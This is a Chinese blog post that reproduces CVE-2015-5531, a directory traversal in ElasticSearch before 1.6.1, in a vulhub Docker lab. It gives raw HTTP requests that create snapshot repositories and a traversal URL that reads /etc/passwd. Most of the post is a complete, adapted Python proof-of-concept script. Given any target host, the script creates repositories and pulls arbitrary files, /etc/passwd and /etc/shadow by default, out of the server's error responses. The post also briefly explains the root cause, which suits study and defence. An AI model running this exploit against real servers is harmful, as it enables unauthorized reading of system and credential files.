CVE-2015-5531

作者: 3mi1e | 来源:发表于2019-08-15 21:22 被阅读6次

ElasticSearch 目录穿越漏洞(CVE-2015-5531)

1.漏洞影响版本

ElasticSearch < 1.6.1

2.漏洞危害

目录穿越漏洞

3.漏洞POC
cd /root/vulhub/elasticsearch/CVE-2015-5531                   //进入本次复现的漏洞目录
docker-compose build
docker-compose up -d                                          //docker-compose搭建环境

访问http://your-ip:9200,验证是否搭建成功

搭建成功

发送如下数据包,新建一个仓库

PUT /_snapshot/test HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108

{
    "type": "fs",
    "settings": {
        "location": "/usr/share/elasticsearch/repo/test" 
    }
}
新建仓库

发送如下数据包,创建一个快照

PUT /_snapshot/test2 HTTP/1.1
Host: you-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108

{
    "type": "fs",
    "settings": {
        "location": "/usr/share/elasticsearch/repo/test/snapshot-backdata" 
    }
}
创建快照

目录穿越读取任意文件
访问 http://your-ip:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

编码后文件内容

如上图,在错误信息中包含文件内容(编码后),对其进行解码即可获得文件

文末附Freebuf大佬POC

POC
4.复盘

漏洞出现原因
elasticsearch 1.5.1及以前,无需任何配置即可触发该漏洞。之后的新版,配置文件elasticsearch.yml中必须存在path.repo,该配置值为一个目录,且该目录必须可写,等于限制了备份仓库的根位置。不配置该值,默认不启动这个功能。
总结
参考URL:FreeBuf黑客与极客(FreeBuf.COM)大佬wenjian_tk0
主要解码10进制代码:

if req.status_code == 400:
  data = req.json()
  extrdata = re.findall(r'\d+', str(data['error']))
  decoder = bytearray()
  for i in extrdata[2:]:
    decoder.append(int(i))
  print colorize_green(decoder)

感谢大佬wenjian_tk0,小白略改大佬POC:

#!/usr/bin/env python
# -*- coding:utf8 -*-
"""
PoC for CVE-2015-5531
Affects ElasticSearch 1.6.0 and prior
"""
import re
import sys
import json
import requests
import urllib
import argparse
import traceback
import termcolor
def colorize_red(string):
    """
    :param string:
    :return
    """
    return termcolor.colored(string, 'red')
def colorize_green(string):
    """
    :param string:
    :return:
    """
    return termcolor.colored(string, 'green')
def create_repos(base_url):
    """
    :param base_url:
    :return: None
    """
    for index, repo_name in enumerate(REPO_NAME_LST):
        
        url = "{0}{1}".format(base_url, repo_name)
        req = requests.post(url, json=DATA_REPO_LST[index])
         
        if "acknowledged" in req.json():
            print colorize_green("repository {0}: create success".format(repo_name))
def grab_file(vuln_url):
    """
    :param xplurl:
    :return:
    """
    #print vuln_url
    req = requests.get(vuln_url)
    #print req.status_code
    if req.status_code == 400:
        data = req.json()
        extrdata = re.findall(r'\d+', str(data['error']))
        decoder = bytearray()
        for i in extrdata[2:]:
            decoder.append(int(i))
        print colorize_green(decoder)
def exploit(**args):
    """
    :param args:
    :return:
    """
    target = args['target']
    port = args['port']
    fpath = args['fpath'].split(',')
    fpath = [urllib.quote(fp, safe='') for fp in fpath]
    base_url = "http://{0}:{1}/_snapshot/".format(target, port)
    #create elasticsearch repository for snapshot
    create_repos(base_url)
    #grab files
    for fp in fpath:
        vuln_url = '{0}{1}/{2}{3}'.format(base_url, REPO_NAME_LST[0], FCK, fp)
        print colorize_red(urllib.unquote(fp)) + ":\n"
        grab_file(vuln_url)
if __name__ == "__main__":
    # for global
    FCK = 'backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..'
    REPO_NAME_LST = ['test']
    DATA_REPO_LST = [{"type": "fs", "settings": {"location":"/tmp/test30"}}, {"type": "fs", "settings": {"location":"/tmp/test30/snapshot-backdata"}}]
    parser = argparse.ArgumentParser(usage="python cve-2015-5531.py options",
                                     description="cve-2015-5531 Vuln PoC", add_help=True)
    parser.add_argument('-t', '-target', metavar='TARGET', type=str, dest="target", required=True, help='eg: 127.0.0.1 or www.baidu.com')
 
    parser.add_argument('-p', '-port', metavar='PORT', dest='port', type=int, default=9200, help='elasticsearch port default 9200')
   
    parser.add_argument('-fpath', metavar='FPATH', dest='fpath', type=str,default='/etc/passwd,/etc/shadow', help='file to grab multi files separated by comma ')
    args = parser.parse_args()
    try:
        exploit(**args.__dict__)
    except:
        traceback.print_exc()

相关文章

  • CVE-2015-5531

    ElasticSearch 目录穿越漏洞(CVE-2015-5531) 1.漏洞影响版本 ElasticSearc...

网友评论

    本文标题:CVE-2015-5531

    本文链接:https://www.haomeiwen.com/subject/ilwtsctx.html